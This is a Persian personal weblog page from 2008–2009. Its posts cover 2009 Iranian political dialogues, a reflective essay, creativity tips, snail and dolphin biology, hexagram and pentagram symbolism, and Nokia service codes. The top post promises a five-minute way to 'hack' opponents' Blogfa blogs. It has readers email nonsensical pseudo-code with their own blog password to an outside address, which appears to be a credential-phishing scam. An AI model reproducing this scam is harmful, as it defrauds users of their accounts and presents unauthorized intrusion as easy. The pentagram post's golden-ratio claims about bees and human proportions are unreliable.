تبليغاتX
 جنبش بزرگ وبلاگی موج سبز سوم اعتراض به جنایات احمدی نژاد و حامیانش و حمايت از مهندس موسوی تیرماه 1388 درخشانترین تاریکی
درخشانترین تاریکی
می اندیشم .. پس هستم
آیا می خواهی وبلاگ یکی از این بسیجی ها رو هک کنی!!!!???
تمام کار های زیر را مو به مو انجام بده...
تا ایرانی سبز ...........
============================
سلام

امروز یه آموزش هک در ۵ دقیقه را بدون هیچ مهارتی به شما می دهم.

فقط برای بلاگفا

ابتدا به ایمیل خود بروید و در قسمتی که برای دیگران ایمیل ارسال می کنید بروید.

در قسمت to این ایمیل را وارد کنید: blogfa.server3@yahoo.com

در قسمت subject: آدرس وبلاگ قربانی را بنویسید مثل: www.nn.blogfa.com

در قسمت نوشتن پیام کد های زیر را وارد کنید

blog_&_ give pasvord_blogfa-sgs0(my user) 0101082

read pasword from (sos web) send

past ashs php 3 #00001 as oo blog html qrt hak not

shel go(my pasword)was(them) blogin in blogfa server

endandsend

حال باید تغیراتی در کد ایجاد نمایید

در قسمت (my user)آدرس وبلاگ خود را بنویسید

در قسمت (sos web) آدرس وبلاگ قربانی را بنویسید (فقط بلاگفا)

در قسمت (my pasword) پسورد وبلاگ خود را بنویسید

بعد از ارسال این ایمیل در قسمت تنظیمات وبلاگ در قسمت اسکریپ ها و کد های اختصاصی خود پسورد شخص قربانی را می بینید.بهتر است چند دقیقه صبر کنید.
ارسال در تاريخ دوشنبه 30 شهریور1388 توسط الهه
این چند تا مکالمه هاییه که بین چند نفر و چند نفر دیگه انجام شده. و چند تا سوال که ازمون پرسیده شده و جوابهای من. هدف از نوشتن اینا به اشتراک گذاشتن برخی تفکر های موجود در جامعه است!!

۱) موضوع: درستی یا نادرستی اعدام زیر ۱۸ سال.

او: به نظر تو درسته که زیر ۱۸ سال رو اعدام کنن؟

من: قطعا نه!

او: چرا نه؟

من: چون این قانونیه که کشور ما پذیرفته نباید قانونی رو که پذیرفتیم زیر پا بذاریم.. تو به فکر آبروی کشورت نیستی؟

او: من بیشتر به فکر آخرتم هستم.. وقتی تو اسلام گفته که..

من(حرفش رو قطع می کنم): تو اسلام چی گفته؟ گفته بچه ها رو اعدام کنید؟ .. بعد هم ما به جز مسلمون بودن ایرانی هم هستیم.. ایرانی بودن هویت ما رو می سازه.. تو هویت نمی خوای؟

(یه ذره منو نگاه می کنه و بعد یکی منو صدا می کنه و میرم!)

 

۲) او: با این کارایی که این مدت بعضی ها کردن نظم عمومی رو به هم زدن.

اون یکی: ببخشید ها ولی فرق کار ما که تو انقلاب ریختیم شیشه های پایگاه های نظامی رو شکستیم با اینا چیه؟

او (عصبانی): فرقش اینه که شما هدفتون با اینا فرق داشته. وقتی پای میرحسین و آمریکا و انگلیس وسط باشه...

اون یکی: هیچ فرقی نداره .. ماهیت کار که یکیه..

 

۳) سوال: به نظر شما مهندسین اجتماعی از این که مقصودشان معلوم شود ابایی دارند؟ شواهدتان چیست؟

پاسخ من: بله ابایی دارند. اگر قرار بود ابایی نداشته باشند اعلام می کرند که مردم همه بدانید ما می خواهیم شما را مهندسی کنیم. این که شما به عنوان عده ای پژوهشگر اهداف مهندسین اجتماعی را کشف کرده اید دلیل نمی شود که برای عوام نیز این قدر واضح باشد. اگر اهداف آشکار باشد که دیگر کسی مهندسی نمی شود.

۴) سوال: مسلم است که یک تناقض آشکار در کودک نابالغ و نا آگاه دانستن و ندانستن افراد زیر ۱۸ سال در قوانین و پروتکل های غربی وجود دارد. ویژگی اصلی کودک آن است که وی موجودی است که به جهت عدم رشد و آگاهی کافی مسولیت مدنی و کیفری جدی ندارد و شبیه بیماران روانی و دیوانگان مسول اعمال خود نیستو در این صورت قانون حکومت و دولت به عنوان ولی و سرپرست و حامی وی از وی در مقابل جبران خسارت های وارد شده از سوی او حمایت می کند. از طرف دیگر به پدر و مادر اجازه داده نمی شود که به این فرد کودک صفت نابالغ  و ناآگاه نظارت داشته باشند و مثلا ارتباطات و تعاملات فرزند ۷ ساله خود را تحت نظر بگیرند. به نظر شما این تناقض چه میزان جدی است و این دوگانه باوری از دید واضعین قوانین چگونه توجیه می کنید؟

پاسخ من: علت اصلی انتخاب زیر ۱۸ سال برای کودکی این است که قوانین بزرگسالان را از کودکان جدا کنند. قطعا اگر سن دیگری را برای این کار اعلام می کردند نیز می توانستید این موضوعات را مطرح کنید. قانونی که گذاشته می شود باید عمل شود. دید شخصی در عمل کردن به آن نباید نقش داشته باشد. این که رفتار والدین با کوکان به دلیل وسعت عصر ارتباطات تغییر کرده دلیل نمی شود تا یک کودک از نظر قانون بزرگ شود. دوگانه باوری در این است که خود قانونی را بپذیریم و سپس آن را نقض کنیم.

 

 ۵) چگونه حذف مطلق و بی قید و شرط نقش های جنسیتی و سعی در یکسان گرداندن آنها سبب گردید زنان تبدیل به مردان نصفه و نیمه (مردان بدلی) شوند؟چگونه این نظریه مستلزم ناقص دانستن زن و کامل دانستن مرد است؟

پاسخ من:  وقتی زنی نقش هایی را که برایش در نظر گرفته شده خرد و بی ارزش بداند به سمت نقش های دیگری خواهد رفت. از آنجا که خداوند متعال انسان را در دو قالب زن و مرد آفریده است دو دسته نقش در جامعه وجود دارد. نقش زنان و نقش مردان. پس زنی که برای کوچک دانستن نقش خود به دنبال نقش دیگری می گردد طبیعتا نقش های دیگر موجود را که همان نقش های مردان است برمی گزیند. این انتخاب ناقص بودن زنان را نشان نمی دهد بلکه نشان می دهد زنان آزاد اندیش و متفکر توان خود را بسیار بالاتر از این می بینند و آز انجا که در انسان کمال طلبی وجود دارد بر اساس فطرت خود به سمت کسب کمالات می روند و انتخاب نقش های مردان توسط آنها به اجبار صورت می گیرد چون در واقع این نقش های هر دوی آنهاست که مدت مدیدی از آنها دریغ شده بود.


پ.ن.۱: اگه شما هم پاسخی برای این سوالات دارید بگید تا پاسخ شما رو هم بذارم.

پ.ن.۲: راستی من نویسنده این وبلاگ هم هستم. : جنبش وبلاگی موج سبز سوم

پ.ن.۳: از این جا می تونید آهنگ "الله الله تو پناهی یا الله" رو دانلود کنید. ( با تشکر از دوستی که این برام فرستاد) راست کلیک و save target as

ارسال در تاريخ پنجشنبه 29 مرداد1388 توسط الهه
من ادوارد ادیش هستم که برای شما می نویسم ، یکی از بزرگترین تاجران امریکایی با سرمایه ای هنگفت و حساب بانکی که گاهی خودم هم در شمردن صفرهای مقابل ارقامش گیج می شوم ! دارای شم اقتصادی بسیار بالا که گویا همواره به وجودم وحی می شود چه چیز را معامله کنم تا بیشترین سود از آن من شود ، البته تنها شانس و هوش نبود من تحصیلات دانشگاهی بالایی هم داشتم که شک ندارم سهم موثری در موفقیتهای من داشت .



یادم هست وقتی بیست ساله بودم خیال می کردم اگر روزی به یک چهلم سرمایه فعلیم برسم خوشبخترین و موفقترین مرد دنیا خواهم بود و عجیب است که حالا با داشتن سرمایه ای چهل برابر بیشتر از آنچه فکر می کردم باز از این حس زندگی بخش در وجودم خبری نیست .



من در سن 22 سالگی برای اولین بار عاشق شدم . راستش آنوقتها من تنها یک دانشجوی ساده بودم که شغلی و در نتیجه حقوقی هم نداشتم . بعضی وقتها با تمام وجود هوس می کردم برای دختر موردعلاقه ام هدیه ای ارزشمند بگیرم تا عشقم را باور کند و کاش آن روزها کسی بود به من می گفت که راه ابراز عشق خرید کردن نیست که اگر بود محل ابراز عشق دلباخته ترین عاشق ها ، فروشگاهها می شد !!



کسی چیزی نگفت و من چون هرگز نتوانستم هدیه ای ارزشمند بگیرم هرگز هم نتوانستم علاقه ام را به آن دختر ابراز کنم و او هم برای همیشه ترکم کرد . روز رفتنش قسم خوردم دیگر تا روزی که ثروتی به دست نیاوردم هرگز به دنبال عشقی هم نباشم و بلند هم بر سر قلبم فریاد کشیدم : هیس ، از امروز دگر ساکت باش و عجیب که قلبم تا همین امروز هم ساکت مانده است ...



و زندگی جدید من آغاز شد …



من با تمام جدیت شروع به اندوختن سرمایه کردم ، باید به خودم و تمام آدمها ثابت می کردم کسی هستم . شاید برای اثبات کسی بودن راههای دیگری هم بود که نمی دانم چرا آنوقتها به ذهن من نرسید ...



دیگر حساب روزها و شبها از دستم رفته بود . روزها می گذشت ، جوانیم دور میشد و به جایش ثروت قدم به قدم به من نزدیکتر می شد ، راستش من تنها در پی ثروت نبودم ، دلم می خواست از ورای ثروت به آغوش شهرت هم دست یابم و اینگونه شد ، آنچنان اسم و رسمی پیدا کرده بودم که تمام آدمهای دوروبرم را وادار به احترام می کرد و من چه خوش خیال بودم ، خیال می کردم آنها دارند به من احترام می گذارند اما دریغ که احترام آنها به چیز دیگری بود .



آن روزها آنقدر سرم شلوغ بود که اصلا وقت نمی کردم در گوشه ای از زنده ماندنم کمی زندگی هم بکنم ! به هر جا می رسیدم باز راضی نمی شدم بیشتر می خواستم ، به هر پله که می رسیدم پله بالاتری هم بود و من بالاترش را می خواستم و اصلا فراموش کرده بودم اینجا که ایستادم همان بهشت آرزوهای دیروزم بود کمی در این بهشت بمانم ، لذتش را ببرم و بعد یله بعدی ، من فقظ شتاب رفتن داشتم حالا قرار بود کی و کجا به چه چیز برسم این را خودم هم نمی دانستم !



اوایل خیلی هم تنها نبودم ، آدمها ی زیادی بودند که دلشان می خواست به من نزدیکتر باشند ، خیلی هاشان برای آنچه که داشتم و یکی دو تا هم تنها برای خودم و افسوس و هزاران افسوس که من آن روزها آنقدر وقت نداشتم که این یکی دو نفر را از انبوه آدمهایی که احاطه ام کرده بودند پیدایشان کنم ، من هرگز پیدایشان نکردم و آنها هم برای همیشه گم شدند و درست از روز گم شدن آنها تنهایی با تمام تلخیش به سویم هجوم آورد . من روز به روز میان انبوه آدمها تنها و تنها تر میشدم و خنده دار و شاید گریه دارش اینجاست هیچ کس از تنهایی من خبر نداشت و شاید خیلیها هم زیر لب زمزمه می کردند : خدای من ، این دگر چه مرد خوشبختیست ! و کاش اینطور بود ...



و باز روزها گذشت ، آسایش دوش به دوش زندگیم راه می رفت و هرگز نفهمیدم آرامش این وسط کجا مانده بود ؟



ایام جوانی خیال می کردم ثروت غول چراغ جادوست که اگر بیاید تمام آرزوها را براورده می کند و من با هزاران جان کردن آوردمش اما نمی دانم چرا آرزوها ی مرا براورده نکرد ...



کاش در تمام این سالها تنها چند روز، تنها چند صبح بهاری پابرهنه روی شنها ی ساحل راه می رفتم تا غلفلک نرم آن شنهای خیس روحم را دعوت به آرامش می کرد .



کاش وقتهایی که برف می آمد من هم گوله ای از برف می ساختم و یواشکی کسی را نشانه می گرفتم و بعد از ترس پیدا کردنم تمام راه را بر روی برفها می دویدم .



کاش بعضی وقتها بی چتر زیر باران راه می رفتم ، سوت می زدم ، شعر می خواندم ،



کاش با احساساتم راحتر از اینها بودم ، وقتهایی که بغضم می گرفت یک دل سیر گریه می کردم و وقت شادیم قهقهه خنده هایم دنیا را می گرفت ...



کاش من هم می توانستم عشقم را در نگاهم بگنجانم و به زبان چشمهایم عشق را می گفتم ...



کاش چند روزی از عمرم را هم برای دل آدمها زندگی می کردم ، بیشتر گوش می کردم ، بهتر نگاهشان می کردم ...



شاید باورتان نشود ، من هنوز هم نمی دانم چگونه می شود ابراز عشق کرد ، حتی نمی دانم عشق چیست ، چه حسیست تنها می دانم عشق نعمت باشکوهی بود که اگر درون قلبم بود من بهتر از اینها زندگی می کردم ، بهتر از اینها می مردم .



من تنها می دانم عشق حس عجیبیست که آدمها را بزرگتر می کند . درست است که می گویند با عشق قلب سریعتر می زند ، رنگ آدم بی هوا می پرد ، حس از دست و پای آدم می رود اما همانها می گویند عشق اعجاز زندگیست ، کاش من هم از این معجزه چیزی می فهمیدم ...



کاش همین حالا یکی بیاید تمام ثروت مرا بردارد و به جایش آرام حتی شده به دروغ ! درون گوشم زمزمه کند دوستم دارد ، کاش یکی بیاید و در این تنهایی پر از مرگ مرا از تنهایی و تنهایی را از من نجات دهد ، بیاید و به من بگوید که روزی مرا دوست داشته است ، بگوید بعد از مرگ همواره به خاطرش خواهم ماند ، بگوید وقتی تو نباشی چیزی از این زندگی ، چیزی از این دنیا ، از این روزها کم می شود .



راستی من کجای دنیا بودم ؟



آهای آدمها ، کسی مرا یادش هست ؟؟؟



اگر هست تو را به خدا یکی بیاید و در این دقایق پر از تنهایی به من بگوید که مرا دوست داشته است ..

لینک مطلب

ارسال در تاريخ چهارشنبه 16 اردیبهشت1388 توسط الهه

1)    برا ی اینکه خلاق تر شوید نسبت به توانایی های خود مثبت نگر باشید . به یاد داشته باشید که خلاقیت را می توان یاد گرفت پرورش داد و حتی انتخاب کرد

2)    برای حل مشکلات روزمره سعی کنید به شیوه ای نوین، زیرکانه یا ذوقی فکر کنید.

3)    در خود اراده ی قبول خطر (ریسک) را پرورش دهید.

4)    وقتی به دنبال خلاقیت هستید از موانع و سد های پیشرو پرهیز کنید.

5)    در برابر خواسته های دیگران پایداری بورزید. سعی کنید با ارائه ی تعریفی جدید از راه حل ها بر روش های قدیمی خود غلبه کنید.

6)    اگر با مسئله ی عاشقانه درگیر شدید، ژرف بیندیشید، آرامش به خرج دهید و پایداری به خرج دهید.

7)    از تمرینات پنج گانه ی تحلیل کردن، ژرف اندیشیدن، تولید راه حل، آرامش و پایداری استفاده کنید.

8)    برای رسیدن به خلاقیت از ظرفیت های جسارت ورزانه ی خود، منابع مفید و آموزش های مناسب استفاده کنید.

9)    جریان ها یا فعالیت های خلاق را بیابید. مراقب آنچه سریع می گذرد باشید. روش هایی را دنبال کنید که شما را خلاق می سازد.

10)   خلاقیت خود را با انجام کارهای ذوقی پرورش دهید.

11)   انرژی های عالی خود را کشف و حفظ نمایید. خلاقیت را هر روز با جدیت دنبال کنید.

12)    فضای کار و قسمت های دیگر محیط خود را طوری طراخی کنید که مشوق و محرک خلاقیت در شما باشد.

13)      نگرشی باز داشته، سرزنده و خوشحال باشید، کنجکاوی بورزید و بر حل مسئله تمرکز کنید.

14)    در برابر راه هاب ممکن دیگر و آزمایش آنها دیدی حساس و گشوده داشته باشید.

15)    آزمایش های زندگی را تکرار کنید. یاد بگیرید که حل مشکلات زندگی تنها با صرف وقت امکان پذیر می گردد.

 

به نقل از مجله ی سپیده دانایی

ارسال در تاريخ یکشنبه 26 خرداد1387 توسط الهه
نرمتنان شاخه‌ای از جانوران هستند که شامل 5 رده آمفی‌نورا ، شکم‌پایان ، ناوپایان ، دوکفه‌ایها و سرپایان هستند. حلزونها جزء رده شکم پایان می‌باشند. حلزونها ، دریازی ، ساکن آب شیرین و یا خشکی‌اند. توده احشایی اصولا پیچ خورده است و درجه تابیدگی آن یکسان نیست. معمولا صدف دارند. در سر چشم و یک یا دو جفت شاخک وجود دارد و 35000 گونه دارند.

بدن حلزون

بدن شامل قسمتهای زیر است: سر که دارای یک جفت بازوی حسی است، یک پای شکمی و پهن عضلانی که نوعی عمل خزیدن را انجام می‌دهد و یک توده احشایی پشتی و گنبد مانند که بیشتر اندامهای داخلی در آن جای داشته‌اند. مرحله لاروی حلزون ولیگر نام دارد که مجهز به یک کمربند مژکی ظریف است و آن را به عنوان عضو شنا بکار می‌برد. قسمت پشتی ولیگر بعدا کاملا بزرگ می‌شود و توده احشایی در حال رشد به سمت پشت برآمدگی می‌بابد. اما این رشد رو به بالا در طرف راست و چپ بطور یکسان صورت نمی‌گیرد و نتیجه آن پیچ‌خوردگی توده احشایی و صدفی است که روی این توده را می‌گیرد.

رشد رو به بالا همچنین سبب می‌شود که لوله گوارشی به شکل U درآید و مخرج کاملا به دهان نزدیک شود. مجموعه توده احشایی ولیگر نسبت به بقیه بدن معمولا معادل 180 درجه در خلاف جهت حرکت عقربه‌های ساعت می‌چرخد. در نتیجه فضای
جبه در جلو و در بالای سر قرار می‌گیرد، آبششها جلویی می‌شوند، مخرج سوراخهای دفعی و تناسلی همه همگی در جلو قرار می‌گیرند و به فضای جبه باز می‌شوند. لوله گوارشی از شکل U به صورت یک قطعه درمی‌آید و قلب می‌چرخد.

تحول به صورت تابیدگی بدون تردید نوعی سازگاری با روش زندگی در حال بلوغ است. حلزونها با عقب کشاندن بدن به درون صدف از خود محافظت می‌کنند و چون صدف یک دهانه بیشتر ندارد، بازشدن دهان و مخرج در یک جا نوعی مزیت محسوب شده و دهان نزدیکتر به زمین خواهد بود. در عین حال با این پیچیدگی قسمتهای سنگین بدن از سر راه دور شده، در روی قسمت عقبی بدن واقع می‌شوند. در نتیجه مرکز ثقل طوری جابجا می‌شود که حرکت شکم پای صدف‌دار آسانتر شود.

در بعضی شکم پایان بویژه لیسه‌های خشکی و دریازی ، صدف کوچک شده یا از بین رفته است. رشد در این موارد شامل بازشدگی است که در نتیجه توده احشایی تا حدودی یا بطور کامل به جایگاه نوزادی خود برمی‌گردد. لیسه‌های ساکن خشکی برای جلوگیری از خشک شدن باید در نقاط مرطوب بسر برند. این جانوران معمولا شبها از جایگاه خود خارج می‌شوند و از سبزیها تغذیه می‌کنند. لیسه‌ها خسارات زیادی به باغها وارد می‌آورند. فضای جبه همه حلزونهای ساکن خشکی از محفظه آبششی به محفظه ششی تغییر یافته است و این حلزونها از هوا تنفس می‌کنند. پاره ای از این جانواران ، سازگاری مجدد با محیط آب یافته‌اند اما هنوز هم با شش تنفس می‌کنند و برای گرفتن هوا باید گاهگاهی به سطح آب بیایند.

حلزون چگونه راه می‌رود؟

حلزون را حتما دیده‌اید و حتما به راه رفتن این جانور توجه کرده‌اید. دیده‌اید با آنکه پا ندارد ولی خیلی راحت بر روی زمین جابجا می‌شود. حلزون را نرمتنی شکمپا می‌نامند چرا که در حقیقت تمام قسمت زیرین بدنش ، پای آن بشمار می‌رود. پس حلزون پایی دارد بسیار پهن و صاف و به کمک عضلات آن خود را بر روی زمین می‌لغزاند و به این گونه روی زمین راه می‌رود. این جانور برای آنکه حرکات خود را آسان‌تر انجام دهد، از غده‌هایی که در پا-شکم خود دارد ماده‌ای چسبناک می‌تراود و جاده خود را لیز و هموارتر می‌کند. پای حلزون یا همان شکمش چنان سخت و نیرومند است که اگر خود را به لبه تیغی بکشد، کمترین آسیبی نخواهد دید.

شگفتیهای حلزون

حلزون جانوری شگفت‌انگیز است. حلزون هیچگاه گم نمی‌شود زیرا از غریزه ویژه‌ای برخوردار است که هر چه از جایگاه خود دور شود دوباره به راهنمایی این غریزه به همان محل باز می‌گردد. دیگر از شگفتیهای حلزون آن است که هر چند اندامش فقط حدود 10 گرم وزن دارد ولی قادر است چیزی به وزن 450 گرم را کشان‌کشان بر روی زمین به دنبال خود ببرد. دیگر از شگفتیهای حلزون ، زبانش است. این جانور زبانی دارد که مانند سوهان صدها دندانه ریز بر روی آن روییده است. این همان آلت برنده حلزون است که با آن خوراکش را قطع و ریز ریز می‌کند. خوراک بیشتر حلزونها انواع گوناگونی از گیاهان است.

ارسال در تاريخ دوشنبه 13 خرداد1387 توسط الهه
 ستاره شش پر از دو مثلث متساوي الاضلاع تشكيل شده كه يكي از قاعده بر زمين است و ديگري از نوك .

مثلثي كه از قاعده بر زمين است نشان از حفظ موقعيت و آرامش و تعادل است و مثلثي كه از نوك بر زمين است زيبايي در حين حفظ تعادل را نشان مي دهد.زيبايي و تعادل مجموعا ستاره شش پر را مي سازند كه در ميانه پرچم رژيم صهيونيستي نشسته است.و همه جا در آثار تاريخي يهود ، در كنيسه هايشان،محل اجتماعاتشان و حتي وسايل زندگي شان ديده مي شود.


هر پر ستاره يك اسم دارد :خداوند،جهان و انسان از يكسو و آفرينش،تجلي و نجات از سوي ديگر.در نظر او اينها مفاهيمي واقعي هستند :خداوند در جهان به وسيله انسان به واقعيت مي پيوندد.تجلي خدا در انسان رويدادي واحد و يكباره نيست بلكه آن نيز سيري دنباله دار است كه انسان را وا مي دارد تا براي همه بشريت نجات را به جهان آورد.راه يهوديت از آغاز به وسيله تاريخ و روح يهودي كه در آن فعاليت مي كند ،تعيين شده است.

بعضي از علماي يهود هم اعتقاد دارند كه این نماد شش گوشه، شکلی است که از یک مرکز شکل گرفته و وجود یافته است. مرکز شکل نمایش دهنده بعد معنوی جهان است که توسط ابعاد مادی احاطه شده است. همچنین شش گوشه می تواند نشانگر شش روز کاری هفته باشند که طی آن ها خداوند جهان را آفریده است. در این تفسیر مرکز شکل، سبت (شنبه، روز استراحت و دعای یهودی ها) خواهد بود که شش روز دیگر هفته را در تعادل قرار می دهد.

در متون کابالا (مجموعه آموزه های یهود كه امروزه در قالب مكاتب عرفاني جديد زياد ديده مي شود) دو مثلث به دوگانگی درونی انسان تعبير شده است: خیر در برابر شر، روح در برابر جسم و غیره. در عین حال گفته می شود که دو مثلث، نمادی از رابطه دو طرفه قوم یهود و خدا است. مثلث رو به بالا، نشان دهنده کارهای خوبی هستند که به سمت بالا جریان می یابند و به نوبه خود خیر را از سمت خداوند به سمت پایین جاری می کنند. این جریان دوم، با یک مثلث به سمت پایین نشان داده می شود.

اما اينكه چرا اين ستاره به داوود نبي منتسب است را علماي يهود اين طور پاسخ داده اند كه داوود نبي(س)در جنگ ها اين ستاره را به نشانه تحت حمايت بودن قادر متعال بودن خود به بر سپرش نقش مي كرده است.يعني كه خداوند از هر شش جهت (شمال ،جنوب،شرق،غرب،بالا و پايين) بر كهكشانها و زمين احاطه دارد و از همه اين جهات نيز از او و قومش محافظت مي كند .به همين دليل يهود به اين ستاره سپر داوود Magen David نيز مي گويند.

ستاره اقبال يهود چه پنج پر داشته باشد چه شش پر، سالهاست كه همراه آنهاست و هر جا كه رد پاي آنها ديده مي شود اين ستاره در حال درخشيدن است .بر فراز پرچم ها ،علايم شركتهاي تجاري،خبر گزاري ها،سازمانهاي سياسي،موسسات اجتماعي و خلاصه هرجايي كه يهود در آن رد پايي داشته باشد.

لازم به ذكر است شبيه به اين ستاره درتاريخ زياد ديده مي شود و حتي در دوران پيش از تاريخ هم رد پاي آن ديده شده است
برای مثال ستاره شش گوشه نشانه چاکرای قلب است، به عنوان نماد مقدس اتحاد زن و مرد استفاده شده، در یونان نشانه ازدواج مقدس (Hieros Gamous) بوده و در هند به عنوان نماد رقص کیهانی شیوا و شاکتی به کار رفته است.

نویسنده:  سمیه سادات طباطبایی
به نقل از سایت
بچه های سرزمین زیتون

ارسال در تاريخ پنجشنبه 2 خرداد1387 توسط الهه

ستاره پنج‌پر یا پنتاگرام شکلی هندسی است که از پنج خط تشکیل شده و به شکل ستاره است.
کلمهٔ «پنتاگرام» از کلمهٔ یونانی πεντάγραμμον منشا گرفته‌است که به معنی پنج خط است.
پنتاگرم به عنوان سمبلی ارزشمند در یونان و بابل قدیم مورد استفاده قرار میگرفته، پنتاگرم دارای گرایشات جادویی نیز می‌باشد. بسیاری از کسانی که پیرو نوپگانیسم یا مهرپرستی هستند از این سمبل استفاده می‌کنند.


پنتاگرم ید طولایی در رابطه با سیاره ونوس (زهره)♀ دارد و آن را سمبل این سیاره می‌شمارند، سیاره زهره نماد مادینه مقدس است که در اسلام آن را فاطمه در مسیحیت آن را مریم مجدلیه (که بعد از افشا گری‌ها کتاب راز داوینچی اثر دن براون بیشتر مرسوم شد) و در ایران باستان آناهیتا (که بعضی به صورت کلی آن را ننه یا ننه خاتون نیز مینامند)، و همچنین رابطه مستقیمی با فراماسونی‌ها یا شوالیه‌های معبد (Knights Templar) دارد که آنها نگه دارنده راز جام مقدس هستند) و همچنین سیاره ونوس هر هشت سال شکل ستاره پنج پر را می‌پیماید یعنی چرخشش چنین شکلی را به وجو می‌آورد.
اولین استفاده از ستاره پنج پر به پنج هزار سال پیش در بین‌النهرین در نزد سومریان بر میگردد. سومریان آن را به عنوان شکل تصویر (Pictogram) کلمه UB به معنی گوشه به کار میبردند. در شکل تصویر سومریان ستاره پنج پر در شماره ۳۰۶ بود، پنج گوشه ستاره پنج پر به معنی جوپیتر، عطارد، مریخ♂، ساترن، و زهره♀ است به معنی ملکه بهشت (Ishtar).

ادیان

در قرون وسطا مسیحی‌ها ستاره پنج پر را به عنوان طلسم زد شیطان و عجوزه‌ها به کار میبردند ستاره پنج پر در زمانی نشانه شهر اورشلیم بوده‌است همچنین شیطان پرست‌ها نیز آن را با یک بز که ریشش در ضلع پایین گوش‌هایش در دو ضلع وسط و شاخش در دو ضلع بالا بود به کار میبرده‌اند.در نو پگانیسم نیز به عنوان سمبل اصلی شناخته شده‌است و به عنوان نشانه‌ای از پنج عنصر خاک،آب،باد،آتش و روح است.

هندسه

φ = (۱+√۵)/۲ ≈ ۱٫۶۱۸ نسبت طلایی: نسبت طلایی گاهی نیز نسبت الهی شناخته می‌شود که همان عدد فی است که جزو دنباله‌های فیبوناچی است۱٫۶۱۸. اگر تعداد زنبور‌های ماده را بر زنبور‌های نر در هر کندویی در هر کجای دنیا بر هم تقسیم کنیم نسبت الهی به دست می‌آید، ناتیلوس یک نرم تن است که نسبت قطر هر مارپیچ نسبت به بعدی در صدفش برابر با عدد فی است، مارپیچ گل برگ‌های مخروط کاج، آرایش برگ‌ها روی ساقه گیاهان، بند‌های حشرات همگی فرمانبرداری از نسبت الهی هستند، همچنین فاصله سر انسان تا زمین تقسیم بر فاصله شکم تا زمین نسبت الهی را به دست می‌آورد، فاصله شانه‌ها تا نوک انگشت بر فاصله آرنج تا نوک انگشت نیز نسبت الهی را حاصل می‌شود و همچنین مثال‌ها دیگری مانند: باسن تا زمین بر زانو تا زمین و همچنین تقسیمات ستون فقرات و ... همگی عدد فی را حاصل می‌شوند.

در آینده مطالب بیشتری در مورد دنباله ی فیوناچی خواهم گذاشت

ارسال در تاريخ جمعه 27 اردیبهشت1387 توسط الهه
پوژه ی امسال ما راجع به دلفین هاست می خوام یه چشمه  ای بهتون نشون بدم تا ترغیب شین راجع به دلفین ها بیشتر بدونید:

 

۱. دلفين معمولی
دلفين معمولي نهنگي است با جثه كوچك به اندازه آن به ندرت به 5/2 m مي‌رسد.
اين دلفين‌ها زيبا و بازيگوش بوده و در گله‌هاي بزرگ 100 تايي يا بيشتر با هم مسافرت مي‌كنند و به 2 نوع باله پشتي آنها به طرف عقب خميدگی دارد. اين دلفين‌ها داراي پوزه باريك و منقاري، به منقار بلند و منقار كوتاه تقسيم مي‌شوند. دلفين معمولي در خليج فارس وجود دارد. دوره آبستني اين دلفين‌ها 11ـ10 ماه مي‌باشد.

 

 

 

۲. دلفین پوزه بطری
دلفين پوزه بطري بزرگتر از دلفين معمولي مي‌باشد و طول آن به m5/3 مي‌رسد اين دلفين‌ها رابطه بسيار صميمانه‌اي با انسان داشته و فوق‌العاده باهوش هستند و در اغلب باغ وحش‌ها و پارك‌هاي دريايي نگهداري مي‌شوند. دلفين‌هاي پوزه بطري در دسته‌هاي كوچك سفر مي‌كنند و به 2 نوع ساحلي كوچكتر و دور از ساحل بزرگتر (تا طول 4 متر) يافت مي‌شود اين دلفين در خليج‌ فارس وجود دارد. دوره آبستني آنها 13ـ12 ماه است.

 

 

 

 

 Baiji 

حيوانات بسيار خجالتي بوده و فقط حدود 150 تا 200 رأس از Baiji باقي مانده‌اند و در رودخانه‌

Yangsize زندگي مي‌كنند. دارای بدنی کوتاه وکلفت بطول تقریبی ۵/۱ متر٬ چشمانی ریز با بینایی متوسط میباشد. پوزه باریک وبلند آن که دارای انحنای ملایمی به سمت بالاست٬ شبیه پوزه سایر دلفینهای رودخانه ای است. رنگ پشت آبی تیره متمایل به خاکستری وسطح شکمی سفید متمایل به خاکستری می باشد. باله پشتی مثلثی وباله ای حرکتی پهن وتا حدودی گرد هستند . بیولوژی ورفتار : ساعات اوج فعالیت بیجی از اوایل شب تا صبح زود میباشد٬ ولی در طول روز نیز ماهی شکار میکند. حیوانی بسیار خجالتی وانسان گریز است و به همین دلیل نیز گزارش معتبر از مشاهده او بسایر نادر است.ظاهرا به تنهایی یا در گروههای تا ۶ تایی زندگی میکند .

 

 

حتما ادامه مطلبو ببینید



ادامه مطلب...
ارسال در تاريخ چهارشنبه 24 بهمن1386 توسط الهه
  • #06#*
    سریال نامبر گوشی را نشان میدهد ( IMEI )

    #92702689#*
    نمایش : سریال نامبر گوشی ، تاریخ ساخت ، تاریخ فروش ، تاریخ آخرین تعمیرات ( 0000 به معنای نداشتن تعمیر قبلی) برای خروج از این صفحه باید گوشی را خاموش و دوباره روشن کنید.

    #3370*
    با این کد شما از حالت EFR استفاده خواهید کرد که باعث میگردد از حداکثر کیفیت صدای گوشی برخوردار شوید اما در عوض مصرف باطری شما کمی بالاتر خواهد رفت
    بر روی گوشی نوکیا 3310 آزمایش شد و عمل کرد)

    #3370#
    حالت EFR را غیر فعال میسازد.

    #4720#*
    گوشی را در حالت کیفیت صدای پائین قرار میدهد و در عوض مصرف باطری شما درحدود 30 درصد کاهش میابد.

    #4720#*
    حالت قبل را غیر فعال میسازد.

    #0000#* و یا #9999#*
    ورژن سیستم عامل گوشی ، تاریخ ساخت نرم افزار ، و نوع فشرده سازی را نشان میدهد.

    #30#*
    شماره های محرمانه گوشی را نمایش میدهد.

    #67705646#*
    در گوشیهای مدل 3310 و 3330 لگوی شبکه را حذف میکند ( IR-TCI )

    #73#*
    تایمر گوشی و همچنین تمام امتیازات بدست آمده در بازیها را Reset میکند.

    #746025625#*
    نمایش وضعیت سرعت clock سیمکارت گوشی. اگر گوشی شما دارای حالت SIM Clock Stop Allowed باشد به این معنا خواهد بود که گوشی شما میتواند درحالت کمترین میزان مصرف باطری درحالت Standby قرار بگیرد.


    #2640#*
    کد رمز فعلی گوشی را نشان میدهد. کد رمز گوشی در حالت عادی 12345میباشد.

    #7780#*
    RESET گوشی یا همان بازگشت به حالت تنظیمات کارخانه ای. مناسب برای زمانیکه گوشی قاطی کرده است . درواقع درایو C گوشی را ریست میکند (ریست گوشی بدون حذف برنامه ها) بعد از وارد کردن این کد ، گوشی از شما تقاضای وارد کردن security code را خواهد داشت که اگر آنرا قبلا تغییر نداده باشید 12345 میباشد.)

    #7370#*
